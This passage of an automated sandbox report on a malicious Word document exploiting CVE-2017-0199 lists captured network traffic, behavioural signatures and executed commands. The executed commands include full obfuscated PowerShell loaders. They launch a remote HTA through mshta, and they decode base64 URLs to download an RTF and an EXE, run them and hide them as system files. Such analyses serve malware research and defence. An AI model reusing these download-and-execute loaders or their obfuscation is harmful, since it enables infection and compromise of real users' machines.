  750. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x18:#dsq\\xf3\\xf6ki\\xf0c\\xffv\\xa3d\\xb6\\x8a\\xaa?s\\xd6\\x14\\x97j\\s\\xbeb\\xaa\\x9a\\x08\\xbbw\\xf4\\x81\\xef2el\\xaev\\xc4\\xc2y\\x83{\\x93\\x8e\\x1a\\x8f)u\\xc9\\xe8\\x16\\x11k>bwh}\\x15\\xf1'p\\xc9\\xe6j}\\xc8\\x83h~^\\x85'\\xd6\\xbcs\\x8cf\\xd74b\\xa6\\xa1\\xa8]c\\xe4\n\\xbd\\x82\t\n\\xafv\\x10\\xa2[\r\\xbd1\\xfaw\\xbb\\x1ab\\x12mj\\x05\\xe8\\xb7$c\\xf7\\xe5\"\\xea\\x89\\x86'{\\x06\\x8b\\xb1.\\xad\\xbe\\x12s3>\\xc7=p\\xc5\\xb29\\xe5\\x9f\\x8d\\xad\\xc2\\x0c\\xdc\\x15\\x9d\\xc2\\x11\\x01\\x19\\xc7d\\xfbo\\x113\\xd2@\\xc6\\xfbt\\xd9e\\x851\\xbe\\xdd\\xf7\\x0e\\x9f\\x82c\\x03\\xc9qd\\x96\\x9d\\x824\\xc24\\xf4m\\xb4\\x9c\\xc9\\x10\\x14ud\\x84\\x7f\\xdbpk\\xa8\\xfbn*\\x9e\\x86\\x9f\\xc2\\xd7\\xf2\\x1c\\xb9\\x83y\\x1f\\x1fw\\xd38qx:\\xbc\\xf1\\xa8c\\xb15\\x81\\xbb\\xce\\xad#\\x9a\\xe6\\x146\\xea\\xc2\\x97x\\x94\\xc4\\xa9v\\x0c\\x8f\\xb7<\\xca"
  751. },
  752. {
  753. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x90.r\\xbeei\\x9e\\xf66\\xea\t\\xaeh\\x9ae\\xcb\\x94\\x9a\\xe4\\x16\\xc8\\x04\\x8f\\x17\\xb2a\\x91x;\tu\\xeei\\xbczi\\xcd\\x01\\xab$\\x9a\\x92\\x8d\\xdd\\xf1~n\\xaf/\\x03\\x0ci\\xd3\\xb2\\xe3\\xbf\\x0bd\\xc7vy\\xeb\\xc7\\x92g\\xdb\"\\xcd9\\x1e5/\\xff\\x7f\\xd5\\x10\\xdb&\\xfdj\\x1c\\xc4kr|\\xc6\\xcb\\xf7zy\\x1a#!\\x02\\xd6*\\xc5u\\xee'\\xe8\\xaf[n\\xed\\xe1\\\\xe7\n4\\x9c\\xdf\\xae\\xe2\\x98\\x07a\\x030\\x183\\x80\\x8eom]|\\xd8\\x8b\\xc2\\x07&b\\xd6\\x01,k\\xad\\xd5 \\xb8\\x8a\\x12\\x85\\x80e\\x82\\xc0q1%lr\\x04\\xff\\x1e\\x10\\x96\\xf3?>\\x14\\xf4>\\xa9\\xf3\\xdb\\x84'\\xfb\\xa3\\xd1\\xeaw\\xb3\\xeb\\xaa\\x87\\xe2\\xdc*\t\\xbe\",i(\\xa3\\xcfbi\\x93\\x96\\xefd\\x0f\\xfbl\\xb9\\x9dakfkw9-u\\xd4t1\\9\\xa2]\\xeb\\xbe\\x89l\\x9d#w\\xe24\\xc4\\x18\\xa2\\xea\\xddkt\\xf5\\x81\\xc7\\x88:\\xaes\\x83\\xba\\xdd\\x92n\\xd8\\xfc]`tp\\x89t"
  754. },
  755. {
  756. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\x89;\\x07\\x04x$s\\xf11\\xac\\xd6t\\xa9 \\x1c\\x8a\\xc1\\x1f\\x9b\\xa6-\\x059\\x16\\xde\\xe1nk=*\\xf6\\x94\\x08\\x84\\x85\\x01z\"%\\xde\\x1c\\xb1\\xdd\\xd6\\xb4i\\xcb\t\\xa23\\xed[\\xa3\\xcdhk\\xf0\\xe3%\\x92\\xf5g&\\xd0it\\x0f\\xec\\xeb\\xc3`\\x1b\\xe5}4\\xcb\\xb9\\xb0\\xa0y\\xf0\\xbf\\x8dq\\xde\\xb6u\\xca#l/\\xe4\\xd9\\xc4\\x00:\\xdd\\xcf\\xcd\\x1c\\xfd\\xb7\\xeb\\xe4\\xfc\\x00\\xc7\\xaa\\x10\\xefl\\xad\\xb0\\xe0\\xa4\\xdb\\xcb\\x9b\\xd3\\xad\\xd1\\xc2\\xec\\xa7\\xf9\\xe2'dp*yxh\\x0f2\\x9apb\\xd9qge\\x8d%\\xbe\\xb8\\xe1\\xa7\\x15\\xc3\\xeaz\\x07\\x8ez.i\\xe2\\xf0e\\x96 m\\xb2\\xbcv#\\x1c\\xfd\\xf3\\xedkh)q\\xad\\x9bl\\xc6'\\xd8\\xbe\\xa2\\xd9\\xe02z'\\xf9\\xf8\\xe3\\x1f\\xe6~\\xa3\\x1f\\xcf\\xeah\\x9e\\xa8\\xadj\\xf9\\xb0\\x07\\x15\\x9b\\xd6'\\xdc%\\xd6\\xf9\\xf1\\x11\\xa7\\xfdf\\xb1\\xfc\\xe0mrr\\x06\\xff\\xe1r\\x8b\\xf6 \\xea\\xaf\\x06\\x83\\xc0\\xb1\\x95\\x91cx\\x0c\\xcc\\x80\\x83\\xe2\\xfe\\xe7\\x10"
  757. },
  758. {
  759. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010n7e\\xf1\\x9eu\\x8bd\\xd7\\x16\\xc1\\x1dfhplio\\xd0:'\\xd7\\xb5\\x07q\\xa7v_an\\xc0v\\x04\\x81z\\xb5ye\\xaf\\xad\\x00h\\xd4\\xdf\\xa9\\xc7\\x98v\\xb5\\xb9\\xe8k\\x98\\xdaku\\xe5\\xc0\\xeao\\xa9ro\\x91\\xbd`k9\\xa8g9\\xbe\\x08\\x04\\x1a\\x85\\xb8\\xfar\\x86\\xa2?\\xc7\\xf2\\xee\\xedx\\xdc\\xd7{^\\x02\\x03l\\xa9\\x9d\\x8fhj<a\\xd2g\\xe3\\xb6\\xf8a\\x02w\\x830\\x06c\\x14\\xd5\\x0e\\xc6q\\x85?h\\xean\\xfd\\xd9]\\xe6\\x97sin\\x9d\\xb0\\x84\\xe6\\xc6\\xb2,\\x0e\\x97\\xaco\\xf6\\xc6\n\n\\xb0\\x80\\xb6r\\xbd8b\\xcb\\x17`)\\xf9b\n\\xa9\\x0c\\xbb\\xe4\\x04a\\xb4\\x00\\xfe\\x98\\xe9\\xd4\\xc3?\\xeca\\xb9\\xec\\xcf\\xd3\\xb0\\xe8\\x15\\xc7e\\xc7\\xe3\\x08q\\x9d\\x07\\xbe\\xe0o\\xfd\\xfd\\x95\\xc7\\x90p\\xce>\\xfd\\x93h#\r,\\x1a|\\xcbe\\xd8\\xd3/y\\xab\\x00\\xa6i\\x86tze\\x99\\xf5\\xfb\\xb9+[r\\x92]\\xc4\\x8bdl\\xe2\\x97\\x8cj\\xe0\\xe8\\x02\\x1fm\\x16\\xbb\\x9ba\\xb9"
  760. },
  761. {
  762. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x00\\xfbm\\x1f\\x85v,v\\xbbu\\xfd\\xf8\\x917m\\xfa\\xe8\\x83h|\\x1a\\xfb\\xf3\\xdbq\\xf5r\\xcb\rps\\xd9\\x15*'t\\x97\\x7f%\\xbdx\\x81x,:,\\xfd~\\xd8\\xc6\\xc4\\xe2\\xd0e\\xb1\\x95\\x18o\\x92q\\x1c)u\\xee\\xb4\\x96\\x9a\\xde\\x91\\xd7ff8uh\\x14\\xfa,\\xf6\\xab\\xc5!:\\x1a''\\xce]rns\\xf1\\x9bnk\\x94\\xe7d<\\xe7|\\x91\\x87\\x0b\\xd8+\\xd1\\x1d\\xe2\\xd5p\\xa9$s\\x0exp\\x02\\xd5\\xfb\\x0e\\x8e\\x02\\x88q\\x83j\\xf1b\\xc3\\x87=\\xac43\\xbe\\xc9\\x92:.\\xfdx[\\xc9\\xa0\\xb2\\xfe[hq\\xb7\\xdel\\xac\\x11{\\xd3\\xac6q\\xa1\\xc2w\\xb9;x\\xf8mx\\xaeo\\xa52\\x90\\xc9\\xf6\\x19dto3r\\xfb\\xde1a\\xaa0^\\x1d\\xab\\xc9rk\\x9et\\x87m\\x8e)}]m\\xb2l\\xcfkp\\xd0\\xb7\\xfb\\xd1 \\xb6\\xb9\\x811\\xe5?\\xee\\x1a\\x06,\\xfab\\xed\\xd8\\x85\\i\\xd0\\xfc\\\\xbb\\\\xc1\\x8d\\x13\\xc4\\xb9tyso\\xbdr\\xf1\\x03\\x05\\xb9f"
  763. },
  764. {
  765. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010j\\xf4\\xb0\\x0b\\xe9k\\xcej\\xd8\\xa4\\xe7\\x08\\x92h\\xc1\\xcf\\x8b\\xc7\\xdd\\xff:\\xde\\xd2\\xd7\\xbe\\xc3\\x16{\\xb9\\xa2\\x05s\\xfe\\x03t-\\xe7\\x13\\xe8\\xea\\x1fa\\xdd\\x99\\x18|\\xe0c\\xcb\\x06g\\xab\\x91:;k\"\\x02\\xc3rl\\xff9o,\\x14\n\\xff\\x1f\\xb3\\x18]b\\xee<)\\x8e\\xc1\\xbb\\x95\\x1d\\x9b^\\xf6i\\xfe\"\\xbd\\xe8\\x8er\\xcf@\\xden\\xbdm]\\x83\\xdf\\x98\\x03\\x81\\xb7\\xe7\\xf2\\xe4e\\xdf\\x8d\\xa6%fiq|\\xa6\\xab$m\\x9fn\\x16\\xd4\\x82\\xcc\r\\xd52\\xba\\x1d\\x8c\\x8d\\xb5\n\\xe0ao\\x89\\xedo\\xe3s;\\xb3%\\xc7eb\t\\xda\\x84\\xbb3\\xe11\\xa3\\xe9\\xc4#&\\x12m\\xdc\\xb9`\\x90z\\xbd\\x97\\xa7\\xa1\\xc6\\x9e\\xc4\\xc0x\\x91gh\\xcc\\xdf\\x86\\x8ed\\xfb\\x94\\xf1\\xa9\\x02\nim\\x02\\xa6\\xc0v\t\\x19\\x85+\\xadtq\\xf7\\xa2|\\xd6\\x90}\\x9e\\xee\\xe9\\x9ak\\x00(p6\\x80mw\\x88\\x1b\\xa9\\xc4\\x9b\\x17z\\x034 z\\xbc\\x0b\\xf6\\x864\\xb3\\xffhz/?\\x033\\x84\\xc7t\\xefq"
  766. },
  767. {
  768. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010!\\x07\\x01\\x10\\x1d<\\x9c\\xcc|\\xe8\\xcbw-o\\x05/\\x88\\xa7\\xf5\\x9b\\x05\\xcc\\xfcz\\x03d\\xdd\n\\xfc\\xdd\\p\\xbc\\x8b\\x81\\xcb\\}f\\xe1\\xebn\\x1fo\\xb0\\x9fr7\\xc4\\xdb\\x86,o`\\xb1\\xc0\\c\\xf5$\\x9d\\xb3\\xce\\xbe\\xda\\x92o\\xcc\\xb4\\xf9\\xbb\\xd0:$\\xfb-\\x8b\\xb8\\xfa(\\x87\\x82\\xfbhm|\\xa1:\\x8c\\x9a\\x8ec\\xac\\xe12\\xdfj\\x81\\xac\\xc1ux\\xce\\xc5v\\x8b7\\xd1\\xe5\\xb4]\\xa3x]\\xf5t\\xfa\t\\xe7\\x1a%w\\x07\\xdfy\\x95\\xf5p\\x96t\\x9d&\\x87\\x0cp]\\xdb\t[\\xffh\\xf2\\x14[\\x14k\\xbf\\xacl\\x12*\\xebz\\x1dy\\xa9\\xc4\\x0c\\x83\\xd7\\xc2\\xacw\\xbb\\x10:\\x9d\\xa5\\xc6\\xeb\\xff0\\xe3\\xfe\\xb1\\xb3\\x13\\x98\\xbc}\\xef\\xcd\\x00\\x0eel=,7\\xf2\\x13\\x1czo\\xb7\\xbb&\\xbfs\\xc9\\xe9\\xd4-\\xc1\\x8b\\xf8\\x86\\x18\\xdb\\x8a@\\x97`\\xe2\\xd0\\xd6\\xad{\\x13>zh5\\xc1\\xe2\\xee\\xf4\\xce\\xbf\\xe3g3\\xb4\\xc1\\xbbf\\xac\\x9d\\x83n\\xb2[l\\xa6\"?\\x05\\xce]\\x81\\xad"
  769. },
  770. {
  771. "http_request": "winword.exe_WSASend_\\xb0\\x19\\xb7\\x11 \\x97\\xc3\\x11l\\xbcl\\xa4\\xb1\\xd3/\\x06\\x87\\xb3\\x94_\\xc0\\x81\\xe3v\\xf4s\\x99a\\x1d\\xc7\\x99+\\x13\\xf6\\xc0c\\x8b\\x93\\xae\\xaan{\ry\\xfe\\xf1\\xf2\\x849\\x7f_\\xaf\\x0b\\xe8\\x81[\\xf6\\x9fp\\xee\\x91g\\xd7\\x11j&^\\xba:.9l@s\\xf1\\xd2\\xe7\\xdck?\\x99\\xdc\\x92q\\xa9\\xeb\\x91\\x92\\xb3;2\\x94n\\xd0\\x08\\xd1\\xdbxk\\xf19{f\\xdb\\xae\\x97\\xd9\\xa8^\\xa4\\x0f\\x96\\xc7\n\\x90\\x9ei\\xd2z7\\xcbqzrg\\xfdyb\\x00gzs5\\xc17\\xd8tz\\xe5\\x12a\\xb9\\xd9\\x02\\xee\\x0f{*\\xa9\\xba\\xf1q\\x12\\xa2\\x0cf\\xc0l\\x87\\x1b\\xce/d\\xc02#\\xdcf\\xdfu\\xde\\x0b\\xb5cw\\xd9\\xe8\\xb7?\\xb3\\xe1\\xa1|\\xe7\\x9a\\xf57\\xdb+\n\\x1da\\xc7c7\\x1b)y\\xa9\\x11\\xfff\\xc9\\xfc\\xfa\\x94v\t\\xcez\\x1c\\x8d\\xe9!l\\xa9\\xbai\\xa5\\x17\\x86\\x8ad\\xc2e=\\xb9=\\xb6u\\x0f\\x83\\x9en\\xf9\\xfd^\\x08\\x8cltccj,((\\xf0\\xa7h\\x0b;\\xfb\\xe5h\\xa4"
  772. },
  773. {
  774. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  775. },
  776. {
  777. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  778. },
  779. {
  780. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: wed, 01 may 2019 05:01:31 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  781. },
  782. {
  783. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x18\\xca\\x1f:\\xb8&\\xc0p~=\\xe8\\x8a\\x9d\\x87~\\x16s\\x95\\xa0\\xd6\\xa3\\xa3u\\x9d\\x87\\x1b\\x1d\\\\xf9\\x8d\\\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  784. },
  785. {
  786. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00\\x91\\xc5\\xe4\\xf3s[\\x90}5\\x1di\\x15\\xd60\\xab\\x9d\\xf42\\xfelz\\xaf\\xed!\\xf9\\x1a\\x13\\x08\\x93y\\x0f\\xf9\\x12\\xf4$\\xb4\\xa4\\xba\n5\\xba\\xf1\n{\\xf3$:\\x8e\\x94\r~ov\\xf2\\x9dd\\xa4\\xe9\\xb0u\\xden\\x80\\xd9\\x92\\x0e\\x0f\\xb4x'\\xf7$#n\\xedo\\xea\\xd3\\xba\\xdbk0\\xed\\xd5\\xed\\xa3\\xa5\\x02e\\x1d\\xfb\\xfb\\x00\\xf8\\x0f\\x04o\\x98\\x97z\\x0e\\xdf-\\x82\\x83\\x11#\\x08\\xec\\xc1h\\x0fu\\xf3\\x90x,z\\xc8\\x15`\\xca\\xbe\\xd5\\x85\\xbf\\xdc\\x91\\x80\\xac\\xc2\\xaf\\x8c\\x88\\xf3\\x7f0u\\xe0\\x8d\\xec\\xfdv}~\\x85i:\\xba\\xc3\\xee~\\x8co\\xedkn\\m\\x8f\\xf8\\xd8d\t\\xa8\\x0b\\xecc\\xc7\\x97\\x93@\\\\x92s>\\xa8\\xd5\\xe3\\x19\\xbe,w\\x8c\\x01\\xf7\\xd5\\xd7\\x84\\xba\\x9c\\x90\\xca\\xe7\\x92#\\xd2\\xcf@\\xc4\\x1fo&\\xda5\\xcb\\xdf`\\x0c\\x15i\\xc9\\xdd\\xda\\x83%\\x87\\xa4\\xd2\\xa1qc[\\xbd\\xe1\\xd3\\xa9p!\\x90\\x19@\\xf1k\\xcc\\xa8\\x1e<\\x1c>t-\\xae\\xf0\\x1f"
  787. },
  788. {
  789. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\x08\\x8dr\\xd7\\xc9n\\xe4\\xf76\\x8c\\u\\xb2r\\xef;}\\xe9\\xd0k\\xf8\\xb4*\\x86@\\xd9\\x0b\\x7f\\xf3\\x88z\\x98\\xc8vu\\xabu\\xe6j\\xae\\x96\\x0ee\\x97+\\x0e\\x1b[\\x0b\\xc1v\\xe1\\x81\\xd0\\x18\\xd5\\x06a\\xa95\\xba\\x904\\xba\\xda^\\xda*r\\xda73\\x95\\xc9o$s\\xc8\\x81\n\\x8d~ \\x95\\xad\\xb0tc\\x99\\xab\\xeb\\xc8\\x15\\x95_\\xea}r\\xe5b\\x940\\x81\\xb0\\xe9\\xedl\\xaf\\x00\\xfb\\xf3\\xdf\\xbar\\x0e\\xb0\\x1f\\xa7\\xbb\\xeb\\xd18\\xee\\xcc\\x83\\xd4\\x01\\x93\\xe7\\x90\\xa5}\\x05p\\xb2ynq\\xd4\\x8a\\x985\\xfe}\\xdei\\x16\\x05@\\x9f\\xea*\\x05\\xca\\xcb\\xa8l2l\\xfc\\x81\\xe1\\xb5\\xce8]\\xc5\\x15ub\\xb4e\\x9d?m\\xfcp\\xda++\\x00\\xf1\\xd0\\xcf\\x125\\xf6\\xda\rn\\x89\\xe7\r\\x1c<zu\\x9ax\\xfd\\xb0$\\xe9,\\xf7` \\xdat\\x918+\\xc0\\xba\\xf0\n\\x02p+\\xb3\\x9c\\n\\xeeq\\xec\\xdci\\xfe&\\x86\t\\xc1\\x92\\xea\\xe5\\x9f\\xef\\x82\\x12\\x00c\\x1dh\\\\xe8\\xf5\\x01\\xe7w\\xa8"
  790. },
  791. {
  792. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p \\xac\\xd6\\xc8+\\xa6@\\xdd\\xf6\\xe3\\xb7\\xe4\\xcd\\x94\\xcey\\xe5\\xc0\\x1dg\\x0e\\x12p\\xba\\x10j\\xb5\\xf6\\x15'\\xc2\\x10\\xa1q\\xc4>[\\xb8\\x80q\\xd3s\\xbc\\xfc\\x97\\xb2\\x8d\\x1d#\\xbd<\\xbe\\x0b\\x14\\x04\\xe6\\xa8d\\xbd\\xf6\nn1\\x96q\\x15\\xb2@\\xca1wv\\xa1\\xe4\\x0c\\x03 \r3p\\x83\\xb8\\xbdym\\xdd\\x0f\\xf7\\xdaf\\xf9\\xfd\\xf7r\\xf8\\x00`\\xe3\"\\x80\\xe2\\xfa\\xd9\\xbfi\\xbe7\\x97'\\xce1\\x8bt\\xc4\\xb2\\x91;\\xff[t/-\\x96f\\x1b\\xe2\\x02\\xf9\\x01\\xeb\\xa6\\xc3\\xa7\\xcf\\x110\\x95`\\x10\tw\\xfal\\xd5\\x01\\x97t\\xea\\xbd3\\xec^\\x17\\xbdy\\xf0r\\x12\\x1d\\xa9\\x94s\\x9b)\\xd7v\\x07\\x85\\x08h\\xde5\\xd2\\xa9\\xc8\\xfc\\x00yi\\x07\\xb7au\\xff\\xed\\xd8!=$\\x0b_\\xe9\\xae\\xd41f\\xe4ym\\x12'r\\xf6\\xdb\\x8b\\xaax\\xfc\\xa6$\\x97\\x99\\xfa\\xf7\"\\x8b}s\\xb9b}\\xb2\\xfedk=\\x80\\x89\\x80\\x94\\xb3[\\x1b-@\\x06\\xbf+\\xe9548<\\xdb\\xcd\\xe5\\xabs@\\x96h"
  793. }
  794. ]
  795. },
  796. {
  797. "Description": "Attempts to execute a powershell command with suspicious parameter/s",
  798. "Details": [
  799. {
  800. "execution_policy": "Attempts to bypass execution policy"
  801. }
  802. ]
  803. },
  804. {
  805. "Description": "Creates a hidden or system file",
  806. "Details": [
  807. {
  808. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm"
  809. },
  810. {
  811. "file": "C:\\Users\\Public\\~$fky.rtf"
  812. },
  813. {
  814. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat"
  815. },
  816. {
  817. "file": "C:\\Users\\Public\\fky.exe"
  818. }
  819. ]
  820. },
  821. {
  822. "Description": "Checks the system manufacturer, likely for anti-virtualization",
  823. "Details": []
  824. },
  825. {
  826. "Description": "Attempts to modify proxy settings",
  827. "Details": []
  828. },
  829. {
  830. "Description": "Harvests information related to installed mail clients",
  831. "Details": [
  832. {
  833. "key": "HKEY_LOCAL_MACHINE\\Software\\Clients\\Mail"
  834. },
  835. {
  836. "key": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Clients\\Mail\\(Default)"
  837. }
  838. ]
  839. },
  840. {
  841. "Description": "Attempts to modify Microsoft Office security settings",
  842. "Details": []
  843. },
  844. {
  845. "Description": "Created network traffic indicative of malicious activity",
  846. "Details": [
  847. {
  848. "signature": "ET WEB_CLIENT HTA File containing Wscript.Shell Call - Potential CVE-2017-0199"
  849. },
  850. {
  851. "signature": "ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl"
  852. }
  853. ]
  854. }
  855. ]
  856.  
  857. [*] Started Service: [
  858. "osppsvc",
  859. "WerSvc",
  860. "W32Time"
  861. ]
  862.  
  863. [*] Executed Commands: [
  864. "\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" \"$ujn=[string][char[]]@(0x68,0x74,0x74,0x70) -replace ' ','';$ujn=$ujn+'://zeronde.in/download/document.hta';mshta $ujn\"",
  865. "C:\\Users\\user\\AppData\\Local\\Temp\\Protocol_48311.rtf.lnk ",
  866. "\"C:\\Windows\\system32\\mshta.exe\" http://zeronde.in/download/document.hta",
  867. "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$mogkues = Get-Random -Min 3 -Max 4;$mstfnpdxlqb = ([char[]]([char]97..[char]122));$xdvjgkn = -join ($mstfnpdxlqb | Get-Random -Count $mogkues | % {[Char]$_});$kydajzpsbc = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$oupiezbyv = $xdvjgkn + $kydajzpsbc;$yblvqjnguze=[char]0x53+[char]0x61+[char]0x4c;$qcuiev=[char]0x49+[char]0x45+[char]0x58;$czmajniwr=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vmdtnlq $yblvqjnguze;$zswbftl=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vmdtnlq hciquonjdag $qcuiev;$bcofzydnte=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hciquonjdag;vmdtnlq kvmqfzbjxenysp $czmajniwr;$wirnpmx = $bcofzydnte + [char]0x5c + $oupiezbyv;$uyhdokji = $xdvjgkn + '.rtf';$stzeijykhof = 'aHR0cDovL2ZpbmxpdGV4LmNvbS93cC1lcnJvcnMvZG9jdW1lbnQucnRm';$stzeijykhof = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($stzeijykhof));$tewfaxgz = $env:PUBLIC + [char]0x5c + $uyhdokji;$zswbftl=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;$suhvylewt = New-Object $zswbftl;try{$kfdteubny = $suhvylewt.DownloadData($stzeijykhof)}catch{[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$kfdteubny = $suhvylewt.DownloadData($stzeijykhof)};[IO.File]::WriteAllBytes($tewfaxgz, $kfdteubny);kvmqfzbjxenysp $tewfaxgz;;Start-Sleep -s 90;;;$nwmicpveoh = 'aHR0cDovL2ZpbmxpdGV4LmNvbS93cC1lcnJvcnMvaGFyZHdhcmUtbWFuYWdlci5leGU=';$nwmicpveoh=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($nwmicpveoh));$xbdakwmf = New-Object $zswbftl;$vgiobrhu = $xbdakwmf.DownloadData($nwmicpveoh);[IO.File]::WriteAllBytes($wirnpmx, $vgiobrhu);kvmqfzbjxenysp $wirnpmx;attrib +h +s $wirnpmx;;$uhapsnvxky = @($hlrov, $fyokgwdp, $vtlxc, $tnurqdxfeg);foreach($hwvxok in $uhapsnvxky){$null = $_}\"\"",
  868. "powershell.exe -ExecutionPolicy UnRestricted -Window 1 [void] $null;$mogkues = Get-Random -Min 3 -Max 4;$mstfnpdxlqb = ([char[]]([char]97..[char]122));$xdvjgkn = -join ($mstfnpdxlqb | Get-Random -Count $mogkues | % {[Char]$_});$kydajzpsbc = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$oupiezbyv = $xdvjgkn + $kydajzpsbc;$yblvqjnguze=[char]0x53+[char]0x61+[char]0x4c;$qcuiev=[char]0x49+[char]0x45+[char]0x58;$czmajniwr=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vmdtnlq $yblvqjnguze;$zswbftl=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vmdtnlq hciquonjdag $qcuiev;$bcofzydnte=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hciquonjdag;vmdtnlq kvmqfzbjxenysp $czmajniwr;$wirnpmx = $bcofzydnte + [char]0x5c + $oupiezbyv;$uyhdokji = $xdvjgkn + '.rtf';$stzeijykhof = 'aHR0cDovL2ZpbmxpdGV4LmNvbS93cC1lcnJvcnMvZG9jdW1lbnQucnRm';$stzeijykhof = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($stzeijykhof));$tewfaxgz = $env:PUBLIC + [char]0x5c + $uyhdokji;$zswbftl=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;$suhvylewt = New-Object $zswbftl;try{$kfdteubny = $suhvylewt.DownloadData($stzeijykhof)}catch{[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$kfdteubny = $suhvylewt.DownloadData($stzeijykhof)};[IO.File]::WriteAllBytes($tewfaxgz, $kfdteubny);kvmqfzbjxenysp $tewfaxgz;;Start-Sleep -s 90;;;$nwmicpveoh = 'aHR0cDovL2ZpbmxpdGV4LmNvbS93cC1lcnJvcnMvaGFyZHdhcmUtbWFuYWdlci5leGU=';$nwmicpveoh=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($nwmicpveoh));$xbdakwmf = New-Object $zswbftl;$vgiobrhu = $xbdakwmf.DownloadData($nwmicpveoh);[IO.File]::WriteAllBytes($wirnpmx, $vgiobrhu);kvmqfzbjxenysp $wirnpmx;attrib +h +s $wirnpmx;;$uhapsnvxky = @($hlrov, $fyokgwdp, $vtlxc, $tnurqdxfeg);foreach($hwvxok in $uhapsnvxky){$null = $_}\"\"",
  869. "\"C:\\Program Files (x86)\\Microsoft Office\\Office15\\WINWORD.EXE\" /n \"C:\\Users\\Public\\fky.rtf\" /o \"u\"",
  870. "C:\\Users\\Public\\fky.rtf ",
  871. "C:\\Users\\Public\\fky.exe ",
  872. "\"C:\\Windows\\system32\\attrib.exe\" +h +s C:\\Users\\Public\\fky.exe",
  873. "\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"",
  874. "C:\\Windows\\System32\\svchost.exe -k WerSvcGroup",
  875. "C:\\Windows\\System32\\sdclt.exe /CONFIGNOTIFICATION",
  876. "taskhost.exe $(Arg0)",
  877. "C:\\Windows\\system32\\sc.exe start w32time task_started",
  878. "C:\\Windows\\system32\\svchost.exe -k LocalService",
  879. "C:\\Windows\\system32\\svchost.exe -k netsvcs",
  880. "taskeng.exe {967639A4-F90D-4030-B019-09A231A9B917} S-1-5-18:NT AUTHORITY\\System:Service:",
  881. "taskeng.exe {8DA9C1AF-3ED4-49CB-8B83-3B11740300F7} S-1-5-21-0000000000-0000000000-0000000000-1000:Host\\user:Interactive:[1]",
  882. "C:\\Windows\\system32\\WerFault.exe -u -p 3268 -s 288",
